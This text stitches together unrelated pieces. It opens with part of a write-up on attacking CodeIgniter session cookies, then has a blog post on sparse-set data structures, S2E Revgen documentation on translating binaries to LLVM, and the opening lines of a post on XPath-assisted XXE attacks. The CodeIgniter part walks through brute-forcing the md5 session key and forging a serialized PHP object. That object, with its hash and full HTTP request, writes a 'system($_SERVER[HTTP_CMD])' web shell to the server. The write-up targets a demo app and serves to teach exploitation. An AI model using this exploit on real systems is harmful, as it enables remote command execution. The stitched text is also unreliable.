**sess\_create** responsible for create session variables and set them to the
user. As you see, it create array in order to store session id, ip address,
user-agent etc in session. When userdata array ready, it calls
**\_set\_cookie\(\)** which is another Session class function. Now it’s time
to analyze \_set\_cookie function’s codes.

| function \_set\_cookie\($cookie\_data = NULL\) if
\(is\_null\($cookie\_data\)\) $cookie\_data = $this->userdata; // Serialize
the userdata for the cookie $cookie\_data =
$this->\_serialize\($cookie\_data\); if \($this->sess\_encrypt\_cookie ==
TRUE\) $cookie\_data = $this->CI->encrypt->encode\($cookie\_data\); // if
encryption is not used, we provide an md5 hash to prevent userside tampering
$cookie\_data = $cookie\_data.md5\($cookie\_data.$this->encryption\_key\);
$expire = \($this->sess\_expire\_on\_close === TRUE\) ? 0 :
$this->sess\_expiration + time\(\); // Set the cookie setcookie\(
$this->sess\_cookie\_name, $cookie\_data, $expire, $this->cookie\_path,
$this->cookie\_domain, $this->cookie\_secure  
---|---  
There is one description about code.

> // if encryption is not used, we provide an md5 hash to prevent userside
> tampering
CI uses md5 for encrypt serialized session data. It use **encryption\_key**
for salt. Then adds result of the md5 encryption to end of the $cookie\_data.

| $cookie\_data = $cookie\_data.md5\($cookie\_data.$this->encryption\_key\);  
---|---  
I want to explain the above code. **$cookie\_data** is going to send to the
client. It contains ip\_address, user-agent etc. CI use encryption\_key as a
salt key. As an attacker we know **$cookie\_data** and result of the md5
encryption. Because CI add result of the md5 calculation to end of the
**$cookie\_data** then sends it to us -attacker. Let me show real data.

|
ci\_session=a:5:\{s:10:"session\_id";s:32:"e4f2a5e86d65ef070f5874f07c33b043";s:10:"ip\_address";s:9:"127.0.0.1";s:10:"user\_agent";s:76:"Mozilla/5.0+\(X11;+Ubuntu;+Linux+x86\_64;+rv:28.0\)+Gecko/20100101+Firefox/28.0";s:13:"last\_activity";i:1397754060;s:9:"user\_data";s:0:"";\}550d610647f0ee0d019357d84f3b0488  
---|---  
You see **ci\_session** variables at above. It’s cookie variable and end of
the value you will see **550d610647f0ee0d019357d84f3b0488 .** It’s result of
md5\! If we try to reverse that;

**Value of $cookie\_data variables =**
a:5:\{s:10:”session\_id”;s:32:”e4f2a5e86d65ef070f5874f07c33b043″;s:10:”ip\_address”;s:9:”127.0.0.1″;s:10:”user\_agent”;s:76:”Mozilla/5.0+\(X11;+Ubuntu;+Linux+x86\_64;+rv:28.0\)+Gecko/20100101+Firefox/28.0″;s:13:”last\_activity”;i:1397754060;s:9:”user\_data”;s:0:””;\}

**$this- >encryption\_key = **is what we are trying to get\!

**Result of md5 calculation =** 550d610647f0ee0d019357d84f3b0488

Obviously we can use brute force attack in order to detect salt.I mean
encryption key.

For example ; let assume following defination.

**$this- >encryption\_key = WE DONT NOW\!**

**Value of $cookie\_data variables =**
a:1:\{s:4:”test”;i:1;\}adf8a852dafaf46f8c8038256fd0963a

| adf8a852dafaf46f8c8038256fd0963a =
md5\('a:1:\{s:4:"test";i:1;\}'.$this->encryption\_key\)  
---|---  
You can use brute force techniques in order to detect encryption\_key\! In
order to brute force this md5,, you can think **encryption\_key** as plain
text that you want to reach, so **Value of $cookie\_data variables becomes** a
salt. And ofcourse reverse md5 prototype **md5\(plain-text, SALT\)** to
**md5\(SALT,plain-text\)**.

This is demonstration.We will have too long $cookie\_data in real life
example. As I mentioned before, $cookie\_data becomes salt in order to brute
force md5. Unfortunately HashCat does not support for this kind of salt key.

### Codeigniter Session Data Integrity and Verification

We learned how CI create cookie data. Now we will have analyze CI’S cookie
data verification system. As I assumed before, we didn’t have a cookie. This
time we have a cookie in our HTTP request. Let’s see how CI checks it and
verify it. In order to do that, we need to understand codes of
**sess\_read\(\)** method of Session class.

Remember \_construct method of Session class. It try to read cookie from
client with **sess\_read** method. This is the reason why we will analyze
sess\_read method.

| function sess\_read\(\) // Fetch the cookie $session =
$this->CI->input->cookie\($this->sess\_cookie\_name\); // No cookie? Goodbye
cruel world\!... if \($session === FALSE\) log\_message\('debug', 'A session
cookie was not found.'\); return FALSE; // Decrypt the cookie data if
\($this->sess\_encrypt\_cookie == TRUE\) $session =
$this->CI->encrypt->decode\($session\); // encryption was not used, so we need
to check the md5 hash $hash = substr\($session, strlen\($session\)-32\); //
get last 32 chars $session = substr\($session, 0, strlen\($session\)-32\); //
Does the md5 hash match? This is to prevent manipulation of session data in
userspace if \($hash \!== md5\($session.$this->encryption\_key\)\)
log\_message\('error', 'The session cookie data did not match what was
expected. This could be a possible hacking attempt.'\);
$this->sess\_destroy\(\); return FALSE; // Unserialize the session array
$session = $this->\_unserialize\($session\); // Is the session data we
unserialized an array with the correct format? if \( \! is\_array\($session\)
OR \! isset\($session\['session\_id'\]\) OR \!
isset\($session\['ip\_address'\]\) OR \! isset\($session\['user\_agent'\]\) OR
\! isset\($session\['last\_activity'\]\)\) $this->sess\_destroy\(\); return
FALSE; // Is the session current? if \(\($session\['last\_activity'\] +
$this->sess\_expiration\) < $this->now\) $this->sess\_destroy\(\); return
FALSE; // Does the IP Match? if \($this->sess\_match\_ip == TRUE AND
$session\['ip\_address'\] \!= $this->CI->input->ip\_address\(\)\)
$this->sess\_destroy\(\); return FALSE; // Does the User Agent Match? if
\($this->sess\_match\_useragent == TRUE AND trim\($session\['user\_agent'\]\)
\!= trim\(substr\($this->CI->input->user\_agent\(\), 0, 120\)\)\)
$this->sess\_destroy\(\); return FALSE; // Is there a corresponding session in
the DB? if \($this->sess\_use\_database === TRUE\)
$this->CI->db->where\('session\_id', $session\['session\_id'\]\); if
\($this->sess\_match\_ip == TRUE\) $this->CI->db->where\('ip\_address',
$session\['ip\_address'\]\); if \($this->sess\_match\_useragent == TRUE\)
$this->CI->db->where\('user\_agent', $session\['user\_agent'\]\); $query =
$this->CI->db->get\($this->sess\_table\_name\); // No result? Kill it\! if
\($query->num\_rows\(\) == 0\) $this->sess\_destroy\(\); return FALSE; // Is
there custom data? If so, add it to the main session array $row =
$query->row\(\); if \(isset\($row->user\_data\) AND $row->user\_data \!= ''\)
$custom\_data = $this->\_unserialize\($row->user\_data\); if
\(is\_array\($custom\_data\)\) foreach \($custom\_data as $key => $val\)
$session\[$key\] = $val; // Session is valid\! $this->userdata = $session;
unset\($session\); return TRUE;  
---|---  
Line 4 = Get cookie from client.

Line 7 = Check returned value. If it is false, that means client don’t have
cookie\!

Line 13 = If encryption is enabled. _-In write-up case it’s not\!-_

Line 20 = Strip out hash from cookie. _-Remember my previous explanation. CI
addes md5 hash end of the session data -_

Line 21 = Strip out session data from cookie.

Line 24 = Md5 calculation in order to check data integrity.

> Does the md5 hash match? This is to prevent manipulation of session data in
> userspace
Line 32 = Call \_unserialize method of Session data\!**-Now we can think about
Object Injection Vulnerability.-**

Rest of the code CI check session variables and user-agents. Basically CI want
to see same user-agent and ip address. As we analyzed **sess\_write** method
CI writes those variables into the session.

Lets analyze **\_unserialize** method’s codes.

| function \_unserialize\($data\) $data =
@unserialize\(strip\_slashes\($data\)\); if \(is\_array\($data\)\) foreach
\($data as $key => $val\) if \(is\_string\($val\)\) $data\[$key\] =
str\_replace\('\{\{slash\}\}', '\\\', $val\); return $data; return
\(is\_string\($data\)\) ? str\_replace\('\{\{slash\}\}', '\\\', $data\) :
$data;  
---|---  
Yes\! It calls unserialize method with user supplied data which is client’s
Cookie in this case.

### RECAP

Before go to the exploitation part, I want to recap what we learned until now.

  1. CI use serialize and unserialize method in order to store variables in Session.
  2. CI don’t use real Session dialectic. CI stores session variables in Client-site \(cookie\) instead of Server-Site \(hard-dirve..\)
  3. CI do md5 calculation in order to detect user site tampering.
  4. Checks user-agent and ip address are same with session data.
  5. Call unserialize method.

### IN CONCLUSION

We have some obstacles.

  * CI doesn’t use destruct or wakeup methods…
  * Codeigniter loads libraries by **$autoload\['libraries'\]** variable. If Session class defined in first place in that array, you can NOT reach rest of the classes. Because we are exploiting Session and CI initialize Session class before user land libraries.

Let me clarify it. CI going to create objects from classes by order. That
means classes which located in **system/core** file path will create first.
Then CI going to look **$autoload\['libraries'\]** array and create object by
order again. So, location of the session class initialization is too much
important in order to reach different classes.

I wrote vulnerable codeigniter application to use it as an example. Following
expression is related with that application.

https://github.com/mmetince/codeigniter-object-inj

Now we can use weakness of session integrity check and unserialize method
together.

As you figure out, we need to know encryption\_key to use that vulnerabilities
for evil\! There is two method for that.

1 – Like I explained before, use weakness of md5 and failed design of CI’s
session data integrity together. Brute force it\! _I suggest you do that when
you believe encryption\_key is not too long._

2 – A lot of developer usually push their application to github without change
encryption\_key. And people who use one of that application usually don’t
change encryption\_keys.

We already know the encryption\_key which is **h4ck3rk3y** in this case. Let’s
start\!

**http://localhost:8080/index.php/welcome**

When I call the above URL, it returned following HTTP response to me.

| HTTP/1.1 200 OKHost: localhost:8080Connection: closeX-Powered-By:
PHP/5.5.3-1ubuntu2.3Set-Cookie:
ci\_session=a%3A5%3A%7Bs%3A10%3A%22session\_id%22%3Bs%3A32%3A%22b4febcc23c1ceebfcae0a12471af8d72%22%3Bs%3A10%3A%22ip\_address%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A10%3A%22user\_agent%22%3Bs%3A76%3A%22Mozilla%2F5.0+%28X11%3B+Ubuntu%3B+Linux+x86\_64%3B+rv%3A28.0%29+Gecko%2F20100101+Firefox%2F28.0%22%3Bs%3A13%3A%22last\_activity%22%3Bi%3A1397759422%3Bs%3A9%3A%22user\_data%22%3Bs%3A0%3A%22%22%3B%7D30f9db14538d353e98dd00d41d84d904;
expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/Content-Type:
text/html  
---|---  
We see Set-Cookie http header variable. Let analyze it

|
ci\_session=a:5:\{s:10:"session\_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip\_address";s:9:"127.0.0.1";s:10:"user\_agent";s:76:"Mozilla/5.0+\(X11;+Ubuntu;+Linux+x86\_64;+rv:28.0\)+Gecko/20100101+Firefox/28.0";s:13:"last\_activity";i:1397759422;s:9:"user\_data";s:0:"";\}30f9db14538d353e98dd00d41d84d904;
expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/  
---|---  
You see Expires dates and Max-Age at end of the string.They are not important
for now. Let strip them out.

|
ci\_session=a:5:\{s:10:"session\_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip\_address";s:9:"127.0.0.1";s:10:"user\_agent";s:76:"Mozilla/5.0+\(X11;+Ubuntu;+Linux+x86\_64;+rv:28.0\)+Gecko/20100101+Firefox/28.0";s:13:"last\_activity";i:1397759422;s:9:"user\_data";s:0:"";\}30f9db14538d353e98dd00d41d84d904  
---|---  
Now we will seperate md5 and cookie from that string like CI do.

**md5 =** 30f9db14538d353e98dd00d41d84d904

**Session data=**
a:5:\{s:10:”session\_id”;s:32:”b4febcc23c1ceebfcae0a12471af8d72″;s:10:”ip\_address”;s:9:”127.0.0.1″;s:10:”user\_agent”;s:76:”Mozilla/5.0+\(X11;+Ubuntu;+Linux+x86\_64;+rv:28.0\)+Gecko/20100101+Firefox/28.0″;s:13:”last\_activity”;i:1397759422;s:9:”user\_data”;s:0:””;\}

We have learned that CI puts user-agent into the session data as you can see
above. Actually session data string is a PHP array.

| Array \[session\_id\] => b4febcc23c1ceebfcae0a12471af8d72 \[ip\_address\] =>
127.0.0.1 \[user\_agent\] =>
Mozilla/5.0+\(X11;+Ubuntu;+Linux+x86\_64;+rv:28.0\)+Gecko/20100101+Firefox/28.0
\[last\_activity\] => 1397759422 \[user\_data\] =>  
---|---  
We know CI going to check ip address and user-agents after unserialize it. But
already done with Object Injection before that controls. We can change it to
whatever we want\!

Now it’s time to create our object in order to exploitclass. Following class
can be found under **application/libraries** in our example.

| <?php \* Created by PhpStorm. \* User: mince \* Date: 4/18/14 \* Time: 3:34
PMif \( \! defined\('BASEPATH'\)\) exit\('No direct script access
allowed'\);class Customcacheclass \{ var $dir = ''; var $value = ''; public
function \_\_construct\(\) $this->dir =
dirname\(\_\_FILE\_\_\)."/cache\_dir/"; public function set\_value\($v\)\{
$this->value = $v; public function get\_value\(\)\{ return $this->value;
public function \_\_destruct\(\)\{
file\_put\_contents\($this->dir."cache.php", $this->value, FILE\_APPEND\);  
---|---  
You see \_\_destruct method save class variable into the **cache.php** file.
Serialized form of Cacheclass going to be like following string.

|
O:10:"Cacheclass":2:\{s:3:"dir";s:15:"/tmp/cache\_dir/";s:5:"value";s:3:"NUL";\}  
---|---  
We will change it to like following one in order to write eval codes into to
cache.php file.

| <?phpclass Customcacheclass \{ var $dir =
'application/libraries/cache\_dir/'; var $value = '<?php
system\($\_SERVER\[HTTP\_CMD\]\);?>';echo serialize\(new Customcacheclass\);//
ResultO:16:"Customcacheclass":2:\{s:3:"dir";s:32:"application/libraries/cache\_dir/";s:5:"value";s:35:"<?php
system\($\_SERVER\[HTTP\_CMD\]\);?>";\}  
---|---  
Now we need to calculate true md5 value for malformed session data in order to
pass integrity control of **sess\_read** method.

| <?php$b =
'O:16:"Customcacheclass":2:\{s:3:"dir";s:32:"application/libraries/cache\_dir/";s:5:"value";s:35:"<?php
system\($\_SERVER\[HTTP\_CMD\]\);?>";\}';$private\_key = 'h4ck3rk3y';echo
md5\($b.$private\_key\);echo "\n";  
---|---  
And result is **fc47e410df55722003c443cefbe1b779.** We will add this md5 end
of the our new Cookie value.

| Host: localhostUser-Agent: Mozilla/5.0 \(X11; Ubuntu; Linux x86\_64;
rv:28.0\) Gecko/20100101 Firefox/28.0Referer: http://localhost/Cookie:
ci\_session=O%3A16%3A%22Customcacheclass%22%3A2%3A%7Bs%3A3%3A%22dir%22%3Bs%3A32%3A%22application%2flibraries%2fcache\_dir%2f%22%3Bs%3A5%3A%22value%22%3Bs%3A35%3A%22%3C%3Fphp%20system%28%24\_SERVER%5BHTTP\_CMD%5D%29%3B%3F%3E%22%3B%7Dfc47e410df55722003c443cefbe1b779  
---|---  
When you send above http request to the CI you will see the following codes in
content of cache.php

| <?php system\($\_SERVER\[HTTP\_CMD\]\);?>  
---|---

# research\!rsc: Using Uninitialized Memory for Fun and Profit

**Created:**| _2/8/2012 1:30:54 PM_  
---|---  
**Updated:**| _2/8/2012 1:30:59 PM_  
**Author:**| __  
**Tags:**| _C++ programming Memory_  
  

# Using Uninitialized Memory for Fun and Profit

Posted on Friday, March 14, 2008.

This is the story of a clever trick that's been around for at least 35 years,
in which array values can be left uninitialized and then read during normal
operations, yet the code behaves correctly no matter what garbage is sitting
in the array. Like the best programming tricks, this one is the right tool for
the job in certain situations. The sleaziness of uninitialized data access is
offset by performance improvements: some important operations change from
linear to constant time.

Alfred Aho, John Hopcroft, and Jeffrey Ullman's 1974 book _The Design and
Analysis of Computer Algorithms_ hints at the trick in an exercise \(Chapter
2, exercise 2.12\):

> Develop a technique to initialize an entry of a matrix to zero the first
> time it is accessed, thereby eliminating the _O_\(||_V_ ||2\) time to
> initialize an adjacency matrix.
Jon Bentley's 1986 book _Programming Pearls_ expands on the exercise \(Column
1, exercise 8; exercise 9 in the Second Edition\):

> One problem with trading more space for less time is that initializing the
> space can itself take a great deal of time. Show how to circumvent this
> problem by designing a technique to initialize an entry of a vector to zero
> the first time it is accessed. Your scheme should use constant time for
> initialization and each vector access; you may use extra space proportional
> to the size of the vector. Because this method reduces initialization time
> by using even more space, it should be considered only when space is cheap,
> time is dear, and the vector is sparse.
Aho, Hopcroft, and Ullman's exercise talks about a matrix and Bentley's
exercise talks about a vector, but for now let's consider just a simple set of
integers.

One popular representation of a set of _n_ integers ranging from 0 to _m_ is a
bit vector, with 1 bits at the positions corresponding to the integers in the
set. Adding a new integer to the set, removing an integer from the set, and
checking whether a particular integer is in the set are all very fast
constant-time operations \(just a few bit operations each\). Unfortunately,
two important operations are slow: iterating over all the elements in the set
takes time _O_\(_m_\), as does clearing the set. If the common case is that
_m_ is much larger than _n_ \(that is, the set is only sparsely populated\)
and iterating or clearing the set happens frequently, then it could be better
to use a representation that makes those operations more efficient. That's
where the trick comes in.

Preston Briggs and Linda Torczon's 1993 paper, “**An Efficient Representation
for Sparse Sets**,” describes the trick in detail. Their solution represents
the sparse set using an integer array named `dense` and an integer `n` that
counts the number of elements in `dense`. The _dense_ array is simply a packed
list of the elements in the set, stored in order of insertion. If the set
contains the elements 5, 1, and 4, then `n = 3` and `dense[0] = 5`, `dense[1]
= 1`, `dense[2] = 4`:

<img src='img/Temp2_10595.png' />

Together `n` and `dense` are enough information to reconstruct the set, but
this representation is not very fast. To make it fast, Briggs and Torczon add
a second array named `sparse` which maps integers to their indices in `dense`.
Continuing the example, `sparse[5] = 0`, `sparse[1] = 1`, `sparse[4] = 2`.
Essentially, the set is a pair of arrays that point at each other:

<img src='img/Temp2_10594.png' />

Adding a member to the set requires updating both of these arrays:

[code]

    add-member(i):
        dense[n] = i
        sparse[i] = n
        n++
    
[/code]

It's not as efficient as flipping a bit in a bit vector, but it's still very
fast and constant time.

To check whether `i` is in the set, you verify that the two arrays point at
each other for that element:

[code]

    is-member(i):
        return sparse[i] < n && dense[sparse[i]] == i
    
[/code]

If `i` is not in the set, then _it doesn't matter what`sparse[i]` is set to_:
either `sparse[i]` will be bigger than `n` or it will point at a value in
`dense` that doesn't point back at it. Either way, we're not fooled. For
example, suppose `sparse` actually looks like:

<img src='img/Temp2_10597.png' />

`Is-member` knows to ignore members of sparse that point past `n` or that
point at cells in `dense` that don't point back, ignoring the grayed out
entries:

<img src='img/Temp2_10596.png' />

Notice what just happened: `sparse` can have _any arbitrary values_ in the
positions for integers not in the set, those values actually get used during
membership tests, and yet the membership test behaves correctly\! \(This would
drive valgrind nuts.\)

Clearing the set can be done in constant time:

[code]

    clear-set():
        n = 0
    
[/code]

Zeroing `n` effectively clears `dense` \(the code only ever accesses entries
in dense with indices less than `n`\), and `sparse` can be uninitialized, so
there's no need to clear out the old values.

This sparse set representation has one more trick up its sleeve: the `dense`
array allows an efficient implementation of set iteration.

[code]

    iterate():
        for(i=0; i<n; i++)
            yield dense[i]
    
[/code]

Let's compare the run times of a bit vector implementation against the sparse
set:

_Operation_ |  | _Bit Vector_ |  | _Sparse set_  
---|---|---|---|---  
is-member |  | _O_\(1\) |  | _O_\(1\)   
add-member |  | _O_\(1\) |  | _O_\(1\)   
clear-set | | _O_\(_m_\) | | _O_\(1\)   
iterate | | _O_\(_m_\) | | _O_\(_n_\)   
The sparse set is as fast or faster than bit vectors for every operation. The
only problem is the space cost: two words replace each bit. Still, there are
times when the speed differences are enough to balance the added memory cost.
Briggs and Torczon point out that liveness sets used during register
allocation inside a compiler are usually small and are cleared very
frequently, making sparse sets the representation of choice.

Another situation where sparse sets are the better choice is work queue-based
graph traversal algorithms. Iteration over sparse sets visits elements in the
order they were inserted \(above, 5, 1, 4\), so that new entries inserted
during the iteration will be visited later in the same iteration. In contrast,
iteration over bit vectors visits elements in integer order \(1, 4, 5\), so
that new elements inserted during traversal might be missed, requiring
repeated iterations.

Returning to the original exercises, it is trivial to change the set into a
vector \(or matrix\) by making `dense` an array of index-value pairs instead
of just indices. Alternately, one might add the value to the `sparse` array or
to a new array. The relative space overhead isn't as bad if you would have
been storing values anyway.

Briggs and Torczon's paper implements additional set operations and examines
performance speedups from using sparse sets inside a real compiler.

\(Comments originally posted via Blogger.\)

# Translating binaries to LLVM with Revgen — S2E 2.0 documentation

**Created:**| _3/2/2019 6:29:35 PM_  
---|---  
**Updated:**| _3/2/2019 6:29:35 PM_  
**Author:**| _wishi_  
**Tags:**| _binary translation llvm_  
  

  

## Design and implementation¶

Revgen’s design is straightforward: it takes a list of basic blocks, calls a
translator to turn them to equivalent pieces of LLVM bitcode, then stitches
these pieces of bitcode together in order to reconstruct original functions.

At a high level, the translator takes a block of machine code \(e.g., x86\)
and turns it into a QEMU-specific intermediate representation \(IR\). The
translator then transforms this IR to the desired target instruction set \(in
Revgen’s case, LLVM\). The translator is composed of the CPU emulation library
\(libcpu\), which generates the IR, and of the Tiny Code Generator library
\(libtcg\), which handles the IR to LLVM conversion. We extracted `libcpu` and
`libtcg` from QEMU and made both available as standalone libraries. We added
LLVM translation capabilities to `libtcg`, which you can find here.

In the rest of this section, we will explain in more details how the
translator works and how Revgen uses it to build an LLVM version of an entire
binary. We will also see what it takes to run such binaries and discuss the
assumptions that Revgen makes about them.

### Translating basic blocks to LLVM¶

Revgen takes the binary file and the CFG recovered my McSema, and turns every
basic block in that CFG into a piece of LLVM code. Revgen stops when it has
translated all basic blocks in the CFG. The result is a set of independent
LLVM functions, one for each basic block. Revgen’s translator handles basic
blocks in two steps: \(1\) it turns a basic block into a sequence of micro-
operations and then \(2\) converts them to LLVM instructions. We will see next
this process in more details.

First, the translator converts machine instructions into an equivalent
sequence of micro-operations. For example, the translator decomposes the x86
instruction `inc [eax]` into a load to a temporary register, an increment of
that register, and a memory store. This implements the effects of incrementing
the memory location stored in the `eax` register. The resulting sequence of
micro-operations forms a _translation block_.

Second, the translator maps each micro-operation to LLVM instructions, using a
code dictionary. The dictionary associates each micro-operation with a
sequence of LLVM instructions that implement the operation. Most conversions
are one-to-one mappings between micro-operations and LLVM instructions \(e.g.,
arithmetic, shift, load/store operations\).

The translator also handles instructions that manipulate system state. Revgen
accurately translates to LLVM instructions like `fsave` or `mov cr0, eax`. The
former saves the state of the floating point unit, while the latter sets the
control register \(e.g., to enable 32-bit protected mode, which changes the
behavior of many instructions\).

For this, the translator uses _emulation helpers_. An emulation helper is a
piece of C code that emulates complex machine instructions that do not have
equivalent micro-operations. Revgen compiles emulation helpers to LLVM and
adds them to the code dictionary, transparently enabling the support of
machine instructions that manipulate system state. Helpers are implemented in
`libcpu` and you can find them here.

Third, the translator packages the sequence of LLVM instructions into an LLVM
function that is _equivalent_ to the original basic block taken from the
binary. More precisely, given the same register and memory input, the
translated code produces the same output as what the original binary does if
executed on a real processor.

To illustrate this process, let us consider the following function. This
function invokes the exit system call with a status code passed as a parameter
on the stack. The function is composed of two basic blocks: one starting at
address `0x804860C` and another one at `0x8048618`.

[code]

    .text:0804860C ; int __cdecl sub_804860C(int status)
    .text:0804860C sub_804860C     proc near
    .text:0804860C
    .text:0804860C
    .text:0804860C status          = dword ptr  4
    .text:0804860C
    .text:0804860C                 mov     eax, 1
    .text:08048611                 push    ebx
    .text:08048612                 mov     ebx, [esp+4+status] ; status
    .text:08048616                 int     80h             ; LINUX - sys_exit
    .text:08048616 sub_804860C     endp
    .text:08048616
    .text:08048618 ; ---------------------------------------------------------------------------
    .text:08048618                 pop     ebx
    .text:08048619                 retn
    
[/code]

Revgen turns these two blocks into two LLVM functions that look like this:

[code]

    define i64 @tcg-llvm-tb-804860c-c-a3-0-4000b7(%struct.CPUX86State* nocapture) local_unnamed_addr #17 {
      %2 = getelementptr %struct.CPUX86State, %struct.CPUX86State* %0, i64 0, i32 5
    
      ; mov eax, 1
      %3 = getelementptr %struct.CPUX86State, %struct.CPUX86State* %0, i64 0, i32 0, i64 0
      store i32 1, i32* %3, align 4
    
      ; push ebx
      %4 = getelementptr %struct.CPUX86State, %struct.CPUX86State* %0, i64 0, i32 0, i64 3
      %ebx = load i32, i32* %4, align 4, !s2e.pc !377
      %5 = getelementptr %struct.CPUX86State, %struct.CPUX86State* %0, i64 0, i32 0, i64 4
      %esp = load i32, i32* %5, align 4, !s2e.pc !377
      %6 = add i32 %esp, -4, !s2e.pc !378
      tail call void @__stl_mmu(i32 %6, i32 %ebx, i32 1), !s2e.pc !377
    
      ; mov ebx, [esp+4+status]
      store i32 %6, i32* %5, align 4
      %7 = add i32 %esp, 4, !s2e.pc !378
      %8 = tail call i32 @__ldl_mmu(i32 %7, i32 1), !s2e.pc !378
      store i32 %8, i32* %4, align 4
    
      ; int 0x80
      store i32 134514198, i32* %2, align 4
      tail call void @helper_raise_interrupt(i32 128, i32 2)
      ret i64 0
    }
    
    define i64 @tcg-llvm-tb-8048618-2-99-0-4000b7(%struct.CPUX86State* nocapture) local_unnamed_addr #17 {
      ; pop ebx
      %2 = getelementptr %struct.CPUX86State, %struct.CPUX86State* %0, i64 0, i32 5
      %3 = getelementptr %struct.CPUX86State, %struct.CPUX86State* %0, i64 0, i32 0, i64 4
      %esp = load i32, i32* %3, align 4, !s2e.pc !379
      %4 = tail call i32 @__ldl_mmu(i32 %esp, i32 1), !s2e.pc !379
      %5 = add i32 %esp, 4, !s2e.pc !380
      store i32 %5, i32* %3, align 4
    
      ; retn
      %6 = getelementptr %struct.CPUX86State, %struct.CPUX86State* %0, i64 0, i32 0, i64 3
      store i32 %4, i32* %6, align 4
      %7 = tail call i32 @__ldl_mmu(i32 %5, i32 1), !s2e.pc !380
      %8 = add i32 %esp, 8, !s2e.pc !380
      store i32 %8, i32* %3, align 4
      store i32 %7, i32* %2, align 4
      ret i64 0
    }
    
[/code]

Each function takes a pointer to a `CPUX86State` structure. This structure
models the CPU’s register file. All machine instructions are translated into
LLVM instructions that operate on this CPU state structure. To handle memory
accesses, the translator emits calls to `__stX_mmu` and `__ldX_mmu` helpers.
We will explain later why the translator generates these instead of native
LLVM load/store instructions. The `int 0x80` instruction is complex and the
translator calls the `helper_raise_interrupt` function to handle it.

### Stitching basic blocks into functions¶

Now that Revgen created a set of LLVM functions that represent individual
basic blocks of the binary, it needs to assemble them into a bigger function
that represents the original function of the binary. This is straightforward:
Revgen creates a new LLVM function and fills it with calls to the translated
basic blocks. So our example above would look like this:

[code]

    define i64 @__revgen_sub_804860c_804860c() local_unnamed_addr #0 {
      %1 = getelementptr %struct.CPUX86State, %struct.CPUX86State* @myenv, i64 0
      br label %2
    
    ; <label>:2:                                      ; preds = %0
      %9 = call i64 @tcg-llvm-tb-804860c-c-a3-0-4000b7(%struct.CPUX86State* %1)
      br label %10
    
    ; <label>:3:                                     ; preds = %2
      %11 = call i64 @tcg-llvm-tb-8048618-2-99-0-4000b7(%struct.CPUX86State* %1)
      ret i64 %11
    }
    
[/code]

`__revgen_sub_804860c_804860c` is an LLVM function that represents the
function called `sub_804860c` in the original binary.

Notice how basic blocks are connected together with branch instructions. The
example above shows a simple case where control goes directly from the first
basic block to the second \(which assumes that the `int 0x80` instruction
actually returns\).

Handling basic blocks that have several successors is more complex. There can
be as few as two successors for simple direct conditional branches, and many
more for switch statements. Luckily for Revgen, IDA Pro and McSema perform the
\(very\) complex task of computing successors. All Revgen does is read the
program counter and call the basic block associated with it, like this:

[code]

    eip = tcg-llvm-tb-abc(env);
    
    if (eip == 0xabc) {
        tcg-llvm-tb-abc(env);
    } else if (eip == 0xdef) {
        tcg-llvm-tb-def(env);
    } else {
        abort();
    }
    
[/code]

The call to `abort()` is important to terminate the translated program cleanly
in case of unexpected program counters. This may happen in cases where the
binary’s CFG was not recovered properly and the program modifies the program
counter to an unexpected value, e.g., in case of self modifying code.

As an exercise, open the `CADET_00001.ll` file that Revgen generated and try
to find the translated basic blocks and functions.

### Assumptions¶

The current implementation of Revgen makes several assumptions about the input
binary.

First, the binary is statically linked. Revgen does not currently handle calls
to dynamically linked library functions. An approach to handle calls is to
read the emulated stack content and pass its data to LLVM call instructions,
as well as store the return values to the appropriate register \(e.g., to
`env->regs[R_EAX]` for x86 programs\). Doing this requires to know the calling
convention of the API and to assume that the API is not sensitive to the
aspect of the translated binary \(dual stack, different program counters,
etc.\).

Second, an x86 binary runs in a 32/64-bit protected mode environment with a
flat memory model and in user space. This is important, as the translator may
disassemble instructions differently depending on the execution mode. For
example, attempting to translate the x86 `sysret` instruction outside
protected mode will cause the translator to emit a general protection fault
exception, aborting the translation process. This behavior is inherited from
QEMU’s dynamic binary translator. In general, binaries should come with some
sort of section headers describing which execution model they assume so that
Revgen can configure the translator properly.

Third, the input binary may not have self-modifying code. Removing this
restriction would certainly be possible given adequate runtime support, but in
that case we would pretty much end up re-implementing QEMU. QEMU handles self-
modifying by detecting writes to code sections and re-translating modified
code on the fly.

### Running translated binaries¶

In the previous section, we have seen how Revgen translates machine code to
LLVM. We will now see how to run it. This requires linking the translated
bitcode file with a run time that sets up the initial CPU state and provides
emulation helpers that resolve memory accesses and translate system calls.

**Initializing the CPU state.** The runtime must first initialize the emulated
CPU state, in particular the stack pointer register. The translated code
retains all the assumptions of the original binary about the stack layout. In
particular, it assumes that local variables, return addresses, and parameters
are located at precise memory addresses when doing stack pointer arithmetic.
The runtime library preserves the original stack layout by using a dual-stack
architecture. There is one _native_ stack used by the LLVM program and one
_implicit_ stack, whose pointer is stored in the CPU state structure \(e.g.,
`env->regs[R_ESP]` for x86\) and which is manipulated by the translated code.
The runtime allocates the implicit stack and sets the implicit stack pointer
before calling the main entry point of the program.

**Resolving pointer arithmetic.** Revgen embeds a copy of the original binary
in the translated binary in order to resolve accesses to its sections at
runtime. Revgen stores each section of the binary in a separate LLVM array.
For example, if a program contains a hard-coded load from address `0x801234`
that is actually a load from offset `0x1234` of the data section, the runtime
will remap the access to the appropriate array. Revgen does not make any
sophisticated attempt at lifting global variables and therefore resorts to
this kind of runtime patching.

**Translating system calls.** For a program to be useful, it has to generally
interact with its environment, which is done through system calls. Depending
on the system call flavor \(interrupt, syscall, sysenter…\), the translator
generates a call to a specific helper function. The runtime needs to implement
that helper function so that it can translate the system call of the original
platform to that of the target platform \(e.g., Decree/CGC to vanilla Linux\).
This is very similar to what user emulation mode in QEMU does.

  

# XPATH Assisted XXE Attacks

**Created:**| _3/21/2015 6:55:25 PM_  
---|---  
**Updated:**| _3/21/2015 6:55:25 PM_  
**Author:**| __  
**Tags:**| __  
  
  

# XPATH Assisted XXE Attacks

More Sharing Services

DannyChrastil| March 17, 2015

Post a Comment

I was in a coffee bar with some good friends of mine the other day and one of
them asked me “Danny, if in one hand you have XPath Injection, and in the
other XXE Processing… which would you choose?” With a wry smile I responded to
him, “Put your hands together\!” \(miss the reference? Click here\)

When testing applications which are employing XML, whether it be a web service
